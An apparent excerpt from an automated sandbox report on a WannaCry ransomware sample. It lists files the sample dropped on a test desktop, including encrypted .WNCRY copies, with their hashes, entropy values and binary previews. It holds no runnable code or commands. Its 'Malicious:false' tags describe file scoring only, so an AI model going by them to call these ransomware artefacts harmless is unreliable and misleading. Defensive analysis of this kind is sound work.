                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......%.CO.^...S'ss....|k...6.|$..A.A.....N*\...Y.+C..f~.BtG....@...HG.N.U....7..6...h+$l.&*+Lim....e..bg.....:....S...Fu".^...(..4 {y4.%P.yk...O...3........w@.%./.]0..........'..Cx5...5x;.........nq.V.L7......My...x..f..T...<.v.Rw..5.....w.A.............r.T,.......s.$R./........8V..;.c.A1e3.F....F..j..'..E..E.z.^...;....f..............}..|H@...7.pt\..v..H.h...D.........J$.Y.....01...>..eY...^'......0.."..2...,.......qtw?..J..r.O`r.....f.o......z..L....g&.l. .T..m_...K..Q........n..td..9fIK.!..6..E..r..w../T.j./5.[Z.+.e....n.......4g.....p...".[..y~dA_.Wu.........]>...Z. C.S........<.....=Sz .a'jH.....`RN8...a.f;.b!..?LQA...%..\.. .:u..s..2...QG7R.Xoxl......9..[..,.Y..7rNch[@M.....6.v..K..n.r.. .}D...UW.!q......@va...&. ...`..5.F.w.$4..3.....>/.w(.....x....F........Xw.k;..,..j..F..2^.....x6......._..k.1,S&.(X....B.Q.b.....f|]....q.#..".>.`|.......iT..Q.u*.U.'..v,.........32...g.1E :.j{.;"Uw.n.Y.:....8......S.1..l......D....

                                                                                                                                                                              C:\Users\user\Desktop\NYMMPCEIMA.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8611477523057935
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk57uwEd7FO0aLVZu4Mm1yIyFWPWaboiqTTZD6Zp3H3IvY3YDfj+:bk5fQZODnu471yInZ6TTZD6n73YD7+
                                                                                                                                                                              MD5:826716E33F5D16B016494442AFA3AD46
                                                                                                                                                                              SHA1:822C782C86FBC4918C11F9C2086C28DE13843332
                                                                                                                                                                              SHA-256:4AD417D9282B2FB7075AB280D8DC7C58FE38CF8A44A873AD3E2C526665D34E6B
                                                                                                                                                                              SHA-512:D387429979B0477CBE2AAA45E997278AE57128C99DBA43DB0F75544B8AA6F626B0C99AFA8B656C356C0B3D4296DD6AF434603F9119F23F4A73618CC1220ADF8F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......%.CO.^...S'ss....|k...6.|$..A.A.....N*\...Y.+C..f~.BtG....@...HG.N.U....7..6...h+$l.&*+Lim....e..bg.....:....S...Fu".^...(..4 {y4.%P.yk...O...3........w@.%./.]0..........'..Cx5...5x;.........nq.V.L7......My...x..f..T...<.v.Rw..5.....w.A.............r.T,.......s.$R./........8V..;.c.A1e3.F....F..j..'..E..E.z.^...;....f..............}..|H@...7.pt\..v..H.h...D.........J$.Y.....01...>..eY...^'......0.."..2...,.......qtw?..J..r.O`r.....f.o......z..L....g&.l. .T..m_...K..Q........n..td..9fIK.!..6..E..r..w../T.j./5.[Z.+.e....n.......4g.....p...".[..y~dA_.Wu.........]>...Z. C.S........<.....=Sz .a'jH.....`RN8...a.f;.b!..?LQA...%..\.. .:u..s..2...QG7R.Xoxl......9..[..,.Y..7rNch[@M.....6.v..K..n.r.. .}D...UW.!q......@va...&. ...`..5.F.w.$4..3.....>/.w(.....x....F........Xw.k;..,..j..F..2^.....x6......._..k.1,S&.(X....B.Q.b.....f|]....q.#..".>.`|.......iT..Q.u*.U.'..v,.........32...g.1E :.j{.;"Uw.n.Y.:....8......S.1..l......D....

                                                                                                                                                                              C:\Users\user\Desktop\PALRGUCVEH.jpg

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.808831894514367
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:8HhjNsnhLdTMc8B2mCf6CIkadbEfR6yOjVtfeaheMn:+GHV8B+9LadbQRIV9eah
                                                                                                                                                                              MD5:D94E68B2FDCD5B096FCDE6868297942C
                                                                                                                                                                              SHA1:53A6F6A48D78144C12E63ED436DE326AB2B5136D
                                                                                                                                                                              SHA-256:CD39DB51402ABEFA4AEC96093A89B1086DD29481CDADA30E997F8EB9B9F90F84
                                                                                                                                                                              SHA-512:6A53E1E3C147F4F35BEECB089F91FD381775CE8587C00D771C457A688AB996D66D0E10E1173A2153FA6AD213572EC66C5739C33096230EA45E7CD0A6E12D6A86
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:...............2.1..g.T._?.5....R.w.....G......|.B..@^Q.l-....J.....[;!..z...N,@i.h.V_Om...o+..afT......I....D....V.@.0...]......r;q'.Z...S.....9.dr._$MI...8m}"R... ......x.~.U ;..Hs..C.B./s.JP3...]..j.d.S.....eZ.....;9..B....e...3....[..]...~...G./....w..eB.....^H+..@.p.P_w.eK.R!..`J..5......Y........i.8....RZ._..b.(.............`d.!......Fl..M......b....N|>......D.....k.L.,[.{..h...W..l.(...8).{>..p...QK.|...Yd5.'H{..Y../.:.....s]KS.....Vg.P....us+Q8g;^.4?..Nrm...7...n....2.9|H...........SQ..N}...#<....\..:..1.W2~......>..,k....,.L.?..f..o.%|Z.-./.....P.(..*..~.D#.......h.#O#..._Px.0. .A+9....|.h.k.5.5..G.fO"x.(2@~.@.5q..l...C.......r:3.e.O.c.6R?A....7.].....!*;W.=..\t.`^.T0 ...fE..r...4c.,........&...x....5S..7.d.......+B......k...p!.h....2..+.P.....ew]..N.m......\.^Q....B+{.w...f[...N..y.#....[.M1O..M...S...b./.......K.;Q.....W.v.....=..L.U.1..`.$...d.9....r..j."................T....:.A..-.9._.v..M....(...0P+6_...p/~]..{W..M.Y...E.

                                                                                                                                                                              C:\Users\user\Desktop\PALRGUCVEH.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8342296734732315
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkDOg5JjodrZS5oZF1uWJ1StvM/mbizmmbBREv8dxSqDkObh1Cu8z3mrazqD7ccx:bkS0j6YWP13zlObizFBRE+xSqDh1H8zM
                                                                                                                                                                              MD5:5A5F4C2C387AD18E90D6FF3EE81130B2
                                                                                                                                                                              SHA1:CDECA1D785E060420166E26ED2033481F52F411E
                                                                                                                                                                              SHA-256:BB12D4305184D0B09F501059D2B93431D338A63262EA35C1D4CCDCCB403FD155
                                                                                                                                                                              SHA-512:4E35264CD7314493296BA3B1DAD1B04C1C8828815D22DC4C7F72E7E89BF8F0935A00BA5C4F99901F570036DE945E9A7A77EEE89A335C1A3C9FD180DD4E89DEEB
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..........;.J?..hw8.v...C.*.....X.G....S.w.......Gc9u.....#....*.^b-.H.....i.2!4g0..5.!.f).z.&G.l...NNE.....+Q........X.m..&,....U....W.rdX.X..FY....h04....d.i3..L.u.7...{.5.FT.R.)x..}..USE...$......2i.7.A.....g.t-.......<K...B........;szq.\h.7..0U...................m%j..V....c.%.;...IM4.,.!..D.Au...C&%w..V)...bzr.....j..1H...G|...$.....DR..b.a8....t,....]...u.;4-.\/..0.q.tF......{...#H."....../...h...H..HED..|..B..fp..(......c......H....R..A3.o+.8S[B$:+7...q ..-M2#.5.........;...4~..j...m.y..cn.=~.....W..K...}.u.$..4.W..t...E......\@.H.|eF.U0l.{&vB.x..v*K>.|R.d..,..S~rC.vZ.R..!.....-v..B...0."B..%M.)z..ub...*......d.k.$...@V..@aPD..+9f...X%.;A.?....).;.;.....U.....L._......I/?0...ja9...K.7#....EE....@..;!...e<.5....s...M.7.b{.'..hF.Uh..:...0.=.+7.$.c..?....i..=?&.8>.9...D#.j(..H.s.:..C...R9..-.%5P..E\.K.E.O..8U.)"./..._.pf...Q..m<1.....*.A.G@.........:.e...}.L.;...C.........o#...5..B.F......0......b5...w..&...;..^K....<.=...

                                                                                                                                                                              C:\Users\user\Desktop\PALRGUCVEH.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8342296734732315
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkDOg5JjodrZS5oZF1uWJ1StvM/mbizmmbBREv8dxSqDkObh1Cu8z3mrazqD7ccx:bkS0j6YWP13zlObizFBRE+xSqDh1H8zM
                                                                                                                                                                              MD5:5A5F4C2C387AD18E90D6FF3EE81130B2
                                                                                                                                                                              SHA1:CDECA1D785E060420166E26ED2033481F52F411E
                                                                                                                                                                              SHA-256:BB12D4305184D0B09F501059D2B93431D338A63262EA35C1D4CCDCCB403FD155
                                                                                                                                                                              SHA-512:4E35264CD7314493296BA3B1DAD1B04C1C8828815D22DC4C7F72E7E89BF8F0935A00BA5C4F99901F570036DE945E9A7A77EEE89A335C1A3C9FD180DD4E89DEEB
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..........;.J?..hw8.v...C.*.....X.G....S.w.......Gc9u.....#....*.^b-.H.....i.2!4g0..5.!.f).z.&G.l...NNE.....+Q........X.m..&,....U....W.rdX.X..FY....h04....d.i3..L.u.7...{.5.FT.R.)x..}..USE...$......2i.7.A.....g.t-.......<K...B........;szq.\h.7..0U...................m%j..V....c.%.;...IM4.,.!..D.Au...C&%w..V)...bzr.....j..1H...G|...$.....DR..b.a8....t,....]...u.;4-.\/..0.q.tF......{...#H."....../...h...H..HED..|..B..fp..(......c......H....R..A3.o+.8S[B$:+7...q ..-M2#.5.........;...4~..j...m.y..cn.=~.....W..K...}.u.$..4.W..t...E......\@.H.|eF.U0l.{&vB.x..v*K>.|R.d..,..S~rC.vZ.R..!.....-v..B...0."B..%M.)z..ub...*......d.k.$...@V..@aPD..+9f...X%.;A.?....).;.;.....U.....L._......I/?0...ja9...K.7#....EE....@..;!...e<.5....s...M.7.b{.'..hF.Uh..:...0.=.+7.$.c..?....i..=?&.8>.9...D#.j(..H.s.:..C...R9..-.%5P..E\.K.E.O..8U.)"./..._.pf...Q..m<1.....*.A.G@.........:.e...}.L.;...C.........o#...5..B.F......0......b5...w..&...;..^K....<.=...

                                                                                                                                                                              C:\Users\user\Desktop\PALRGUCVEH.xlsx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.806604472265477
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:cyWlJsZ2rth5CbZb2COPin7262WbNiRGbibU+ooIoc3nyPu72x0skA4ABY:cyoJ9hEbMSnKWNiRGgjooI1yW729kLMY
                                                                                                                                                                              MD5:5C85065D4F278D109F5649B87D8E3CAE
                                                                                                                                                                              SHA1:6978C3E31C7139F62A15B5FE908502E996AD7866
                                                                                                                                                                              SHA-256:D7E727E2BD82FECDA01EA800FFDA5F26E4D7137ECA46FE9DB53D88CB7C2E2953
                                                                                                                                                                              SHA-512:44BACB2DF685DE68DC275F56A854AAA5E0018D02F9F975909119E45CDE70BFEE2C9E8D6DB343FDC2B62660CA281CDEAB874980245285468D22627A5B64446DFE
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:!cr....s.......G8#vsO.V...4.7!....B....I.b.n...r\..0......|...._}......;.2.._.....m.O..L...e.K..i.xR.....{.U.Y.1..&.*.N....J.^..Q.(a0rAQ..o.......y...D.|{..C7WJ....L...4'.4..'.8!lJ..x.....Q..&.f3....."V...... .'..d.S.uu....Z%..;....-f..y.|..]..<.i.eU.v..T...!.u.M'.m.L...T...D.d.c....!...9.z..l.M|.V.}.z_...kJ..]B..,.|`.y....6..m...c....[...4X"a.e.8.p.Js.Z..S3...&a<=..)........+.n...Y...G..!....k|.{j......Z...[.L......W\..... .wA.T..D.Fe.>]*.6.8..R;.3...7..T@.3Y..q...`._...e..s.J{....u.S_...`...6..[..z.s.J.}.@......G.N....|-_V<hn.1C.,S...X.<mG......,..Z.u...<.O.,.M..1.....7~;dU-..{4.........yLd.({..aS..p.4R......;..(Wz.K...R....k.........=y..`....E.......~..js..1..s........|.|xR.vK....I].A.....D.t....h|........3...).bo/y.r..m...`.RZ.....%....-.2.lu.#..G..z.'....4H^..&......a.._..zj.Hp......(..Ku:".|2.h..w...R.....*S.,...!.S].,.Vns....[....T........q.....p.O.b.&...0..)......eu..@.c.fF..eE.&..+...m....d?tEQZ.z..|,d.xq6..K*....bm;.l..

                                                                                                                                                                              C:\Users\user\Desktop\PALRGUCVEH.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.846067672142034
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk+aoy1aLS2Bj5FFKfluiJvPbVTH9z43JQ96DP+e6fiemRQCs7wODdWiVk:bk1oPSinFKfzvPbZN6k6DP+5BmRCwAsP
                                                                                                                                                                              MD5:AADABAB8C2C30E8ED5A0D97FF2E80B17
                                                                                                                                                                              SHA1:872E41480AA5A096E4291FD70BCDA5FAFE8E8AC8
                                                                                                                                                                              SHA-256:42CFFCAB485857319A5FC30ADE786681977CD8F194C2E655B6F2479771E35F59
                                                                                                                                                                              SHA-512:6AAF1D77EBF7963EC4754959CE1173B37ACBC51871AE9441E7922D26234FA6B617164046FB3BAAB865205EF668EFE1CEDFD7B286502AAA78BF911334EA652D60
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.............m.....p...4.W....e..<....&sI.....,....E.J...o$..>YNg...{U..0..+.5....-..D...}...'T.ukk9.\0.:.|..ZO,..x.G..f..|.y.......4...........$......w4C........H...,...$.@.k....o......Z...6.a#....p.k.k...!.=.r...........6.MI....y.J:.M.L"....o(.....................l..@..o.D.ii!Yz.:.....e.].gr.f.../..<W!.. Hu....X..7w.lA.hR.m..V4.K......b.ENB..:..R3O..R*.zDd*...ru|X....=._..-^.3x4NW..6.....5.`.4k.......nh`.(n.4....f.Z.<..&.L.y...._a"C.SL.@..U....`.6h...E.M .7.p.^.'....Q4y..tS.k..k|..X...:...V.l.. ..1...m_x...O\........(.....M.i....-.....[:x.4......!.Ic-V..3.}m.r.&...y..Rl.r..O.z.me).\".L.......O>..0.s..HR.....w.[}B...d.=..:F.|.8.....\@Y........!.M'.0.....J...7@4.q......f2)F......&..'JE #..~..N,........ L.k=T..0.......3.....*Tp9..m.y4.Vp.R/HG8n.l...m5....S.B=_j:..r]. 8.K......[:.(..?.|Z.UFwL!.o'...1./...28j.qf..0uy.k>'..`]8..!.GwE'.98..m.......Z.....w.w....7'."W...`.g..<.Sd7..[..p...:..1Z...6..pT.EUU.ZN..wP?...w..Z7@..=....

                                                                                                                                                                              C:\Users\user\Desktop\PALRGUCVEH.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.846067672142034
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk+aoy1aLS2Bj5FFKfluiJvPbVTH9z43JQ96DP+e6fiemRQCs7wODdWiVk:bk1oPSinFKfzvPbZN6k6DP+5BmRCwAsP
                                                                                                                                                                              MD5:AADABAB8C2C30E8ED5A0D97FF2E80B17
                                                                                                                                                                              SHA1:872E41480AA5A096E4291FD70BCDA5FAFE8E8AC8
                                                                                                                                                                              SHA-256:42CFFCAB485857319A5FC30ADE786681977CD8F194C2E655B6F2479771E35F59
                                                                                                                                                                              SHA-512:6AAF1D77EBF7963EC4754959CE1173B37ACBC51871AE9441E7922D26234FA6B617164046FB3BAAB865205EF668EFE1CEDFD7B286502AAA78BF911334EA652D60
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.............m.....p...4.W....e..<....&sI.....,....E.J...o$..>YNg...{U..0..+.5....-..D...}...'T.ukk9.\0.:.|..ZO,..x.G..f..|.y.......4...........$......w4C........H...,...$.@.k....o......Z...6.a#....p.k.k...!.=.r...........6.MI....y.J:.M.L"....o(.....................l..@..o.D.ii!Yz.:.....e.].gr.f.../..<W!.. Hu....X..7w.lA.hR.m..V4.K......b.ENB..:..R3O..R*.zDd*...ru|X....=._..-^.3x4NW..6.....5.`.4k.......nh`.(n.4....f.Z.<..&.L.y...._a"C.SL.@..U....`.6h...E.M .7.p.^.'....Q4y..tS.k..k|..X...:...V.l.. ..1...m_x...O\........(.....M.i....-.....[:x.4......!.Ic-V..3.}m.r.&...y..Rl.r..O.z.me).\".L.......O>..0.s..HR.....w.[}B...d.=..:F.|.8.....\@Y........!.M'.0.....J...7@4.q......f2)F......&..'JE #..~..N,........ L.k=T..0.......3.....*Tp9..m.y4.Vp.R/HG8n.l...m5....S.B=_j:..r]. 8.K......[:.(..?.|Z.UFwL!.o'...1./...28j.qf..0uy.k>'..`]8..!.GwE'.98..m.......Z.....w.w....7'."W...`.g..<.Sd7..[..p...:..1Z...6..pT.EUU.ZN..wP?...w..Z7@..=....

                                                                                                                                                                              C:\Users\user\Desktop\TQDFJHPUIU.jpg

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.823196627278099
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:fRHEIOcvI98mfcjxsfV5gAgcKQzFFW0D6CFyEGBkPo:fdOcvo8mUNs0hoFMqfGuPo
                                                                                                                                                                              MD5:26DDFD80D239094924EA3DEBA387FE23
                                                                                                                                                                              SHA1:1496FAB1564C6C3A11A14CC9B0348A724B92779E
                                                                                                                                                                              SHA-256:E9A0718B23415496D9796E97F9F1A237C8DEA367C6F1CCED947BCEB4D16F80FD
                                                                                                                                                                              SHA-512:F6550DA9FE2CE2A13C0F0D89DEB55DA6C3B0C25670B971691E36A98260DA75FF4663A14A122BE936847E9AC1E0B078BC1636752C471DE5345586A5AD185F2D2C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.+.V8R.Jk.O.gg.<6..&..BQ\..Ll......T..s.*..*.@.S..%%...._.U.zH...w..<Z.H...&.......;.%k..@..@...g;.{{..v.gN..._Z...N..........u\./....5...,.F..Z.(.n....k.......7.........W..j...Q.........G..?w$E.Q\.......G.4....3...d..N...ZP3.X0.p]N_J..s..q).d.S.n..B..#..k.X..u..Q....d....J...y.Qu#......h......Z.BZ%O=.........{.....x.....Z.....$F:C.'......../d...|A...6.....J.i... .%YT...D4./...h.zh..Rb$}f.b.NN"'....%."...A%dM...m..V...W.c.;.E_$t....=.'N]...+f..ts...HH... .x.+......&..W.>...R...k...Z.j..F......S'\..}G............u.t..V.:.p6*s.....z.A.:...m......T8....../....R..d..."..*.g.@A...z...l..].p&.W.~...............8..P.....e..k.l..<,X..K....N[.T.6..'.17...o...,..k..V+\.R.."{.d{.!n?E..3..t.......=s.c.w...D...[r.E..|..........4..@.*"l{..]kO..{N..f..>.R..`..k.[.BT.vr..P.`..u.. ..AL&.)....5=|d.Z.....^.. .`,I[...K..............PVG..wF.Cr..-)....79Y.....e .9S..TK.....1@..~..^.`. .....r.kZV..[~...)..v`.m`.?..V.X..\...T.i}.+C.K(\..7..6I;.....T..~..'D|..E

                                                                                                                                                                              C:\Users\user\Desktop\TQDFJHPUIU.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.853713019583535
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkn6//g6rKLR3gaHTLHnfWW23umHs9R8xTIgPT+Rbs3z9oZ6gXeabqqSWgAiAmk/:bknGgIanHnf1R8xTXPTIbs3xGpXeabqg
                                                                                                                                                                              MD5:90F510B9AD73BC7D350147D25823A8DD
                                                                                                                                                                              SHA1:9D397AD5CB3BA6B7F63AB5CC05714E5312BEED49
                                                                                                                                                                              SHA-256:CC4E1ED6DE2190B841EA7936E8CF7D61B59739B15118FBDDCF3DC744720F3E07
                                                                                                                                                                              SHA-512:595E548FE86E526FE8F53557D7A759FB2940044569147F4D1DD57BD89D4CF82D31E0C172B85E054924D198BEBB8C7DF5B052DE650AFC20153C2B1E9112E38D4F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......>.*......[.....;.{G=...B..#..>......W:X..*....B..C...C.oE......#1....k.~.n;6....EjQtl..c......_..u..+..wMq.J.KW......zA........K.z.........o.w.m...%?.>$........"G.8V..G..k..Z.K..*I`.\.Q0y[]gx...........md.QN..R.EBr3g..6.{dL..G..U7....z..%")a............x...[..f.:...W.p.@.&._.U$......$.....R6io...W~. .J)Ie.-...{...Q..D.......>0..A..."."Fr.p.-....gi.Ix.2......J..;...Z.i.6..M....i......^...4.q..mRCJ.O..B...x...}.y$..a.%.g2"....h.=.R.....U.DB...P..Zh.....X..9^.}bz..=+..y=...D..PN$x."^..a.~.....qX.U.u ..+._e_.PA{....7.1.pSz9...%w.....|."/..\.$v?.>..z.M..n.o...Bq...t.xp.{.\!.6.w..W..'.O.E:..h.MT.....)I.?t.=..Z...P...I.....1....".5'.O...,......y.7.5T.S-..tB_......]....T........'-v...A...!....'...z...R;"=....s..}..;...]...8.....4?..h2.......t.a.Z.Y.N.z].....Q&....N.O-R..1.z.Y\..].JI..<t..P.OV.H..9..w......m. .....B..v!X(V$.....wU..8:..n..a..~..92.......J.....<.'....g......`.tx.K..H.....T..H.E....[?.....-.O.).x.<.X:.$..Y......u..

                                                                                                                                                                              C:\Users\user\Desktop\TQDFJHPUIU.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.853713019583535
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkn6//g6rKLR3gaHTLHnfWW23umHs9R8xTIgPT+Rbs3z9oZ6gXeabqqSWgAiAmk/:bknGgIanHnf1R8xTXPTIbs3xGpXeabqg
                                                                                                                                                                              MD5:90F510B9AD73BC7D350147D25823A8DD
                                                                                                                                                                              SHA1:9D397AD5CB3BA6B7F63AB5CC05714E5312BEED49
                                                                                                                                                                              SHA-256:CC4E1ED6DE2190B841EA7936E8CF7D61B59739B15118FBDDCF3DC744720F3E07
                                                                                                                                                                              SHA-512:595E548FE86E526FE8F53557D7A759FB2940044569147F4D1DD57BD89D4CF82D31E0C172B85E054924D198BEBB8C7DF5B052DE650AFC20153C2B1E9112E38D4F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......>.*......[.....;.{G=...B..#..>......W:X..*....B..C...C.oE......#1....k.~.n;6....EjQtl..c......_..u..+..wMq.J.KW......zA........K.z.........o.w.m...%?.>$........"G.8V..G..k..Z.K..*I`.\.Q0y[]gx...........md.QN..R.EBr3g..6.{dL..G..U7....z..%")a............x...[..f.:...W.p.@.&._.U$......$.....R6io...W~. .J)Ie.-...{...Q..D.......>0..A..."."Fr.p.-....gi.Ix.2......J..;...Z.i.6..M....i......^...4.q..mRCJ.O..B...x...}.y$..a.%.g2"....h.=.R.....U.DB...P..Zh.....X..9^.}bz..=+..y=...D..PN$x."^..a.~.....qX.U.u ..+._e_.PA{....7.1.pSz9...%w.....|."/..\.$v?.>..z.M..n.o...Bq...t.xp.{.\!.6.w..W..'.O.E:..h.MT.....)I.?t.=..Z...P...I.....1....".5'.O...,......y.7.5T.S-..tB_......]....T........'-v...A...!....'...z...R;"=....s..}..;...]...8.....4?..h2.......t.a.Z.Y.N.z].....Q&....N.O-R..1.z.Y\..].JI..<t..P.OV.H..9..w......m. .....B..v!X(V$.....wU..8:..n..a..~..92.......J.....<.'....g......`.tx.K..H.....T..H.E....[?.....-.O.).x.<.X:.$..Y......u..

                                                                                                                                                                              C:\Users\user\Desktop\TQDFJHPUIU.mp3

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:OpenPGP Public Key
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.834112735210995
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:hX8EHC5BUL/hc4scx9uHdDiru648N6Wv6IKdoKBAZAU:VfkBU8YohirlbCIQosAZAU
                                                                                                                                                                              MD5:66708EE2EE20A55772808FCAD61868EF
                                                                                                                                                                              SHA1:7253A73236AC934F11CFF842D6FD872A9197482E
                                                                                                                                                                              SHA-256:D3DDAAB02B64581EB63E33A84A50BA4C82B8359AD3F65B5F651F0574B10D6747
                                                                                                                                                                              SHA-512:2FB6313553FA45AA843834DF065E96F2020EDBC3180E258D3E50AD02CA87016D99275926827B0222D43EF8E40D2D3FA0789A6F8850C88EFD4458A5863F60761D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.c=oM.?.i(O..(..,...b.-.S.Zl.<..F..X..4..+..?.]6.... R.m.....F..+.Y.....c...._......U.........6K..0.u...Q0.l..S..S...v....\...~8..!...........!....bE.....TC...~.x.a..8.N....O+...../.[exS|.V4.As3l......ukB.3..$...a.M.h9.....g.c.. .s..;..J.<...E..o('........d.3.#...s.*..^...V.b=r..1........Y.`.U~J..%J@.g....=x...v..&.E:L.......`.5.0.X.%..FP.(...+.E4.Jy...Z.%<..sX[7sCa.S......R.X(*.s.@.>............g...-..{CZ.9.=(=......I....k..J....[.2'd.v.f_..}.......,.3.7\D.'.g......0"8.uN.......|o.._}....V....{.q..p..gX.......zm...7K<.G...E.+~......;..B`.y..]...re.....l@C....*&3..~.W...LKga-....W?..jL.v...5.m....9.E..[.o.~O..N9.w.#.p....S...wd...7.ZA.>P...z.e..Zq..6.r.... .;.&"d.h.6.....O.,O../+.}.o*..?.b.....G.#...e..1.......:>..rD.p.I..).J.......&.D........n:a.x.uUX.V...i..MnFv....U...K...Hf.....I5..Nw.GM,M0.....F..`.]...P..}6Z}..0.ni.a.2..84F.'[.J78!.....oz.B.*..6.>!S..g.2N.+. ..SN.;...V.....N..e ...@c...n.fK~.i.^M.;>.../}.r.&..U..$[8.E#^o.`.2c9..\.}....!...

                                                                                                                                                                              C:\Users\user\Desktop\TQDFJHPUIU.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.833376508821042
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkqUBtqC5wIwwvbaS9krOXFKJSWn2uJMuXXanUGz5/FC+MeQSw+YEjw5Yzb7Gfug:bkqURTba+kr8QJSW2uWiqn3z59CXe5Y3
                                                                                                                                                                              MD5:35C5F930EF18429583796E9D766B5FA3
                                                                                                                                                                              SHA1:7840AB67395A97C88504270CBB8DEC36CF8E9969
                                                                                                                                                                              SHA-256:8C78D78EC8E6C9A7F3B6FFC4F59B8E1A40C21AD2DD53DF15D04E232EDDC74AFD
                                                                                                                                                                              SHA-512:B1EB59EEC98D53C9F9BFB0762C5D85E217D48BE65EB4866BF654D128D871657F4A23178F652D31260C46A53251086B68911E55673C5BEC95DB153F86169DDA94
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
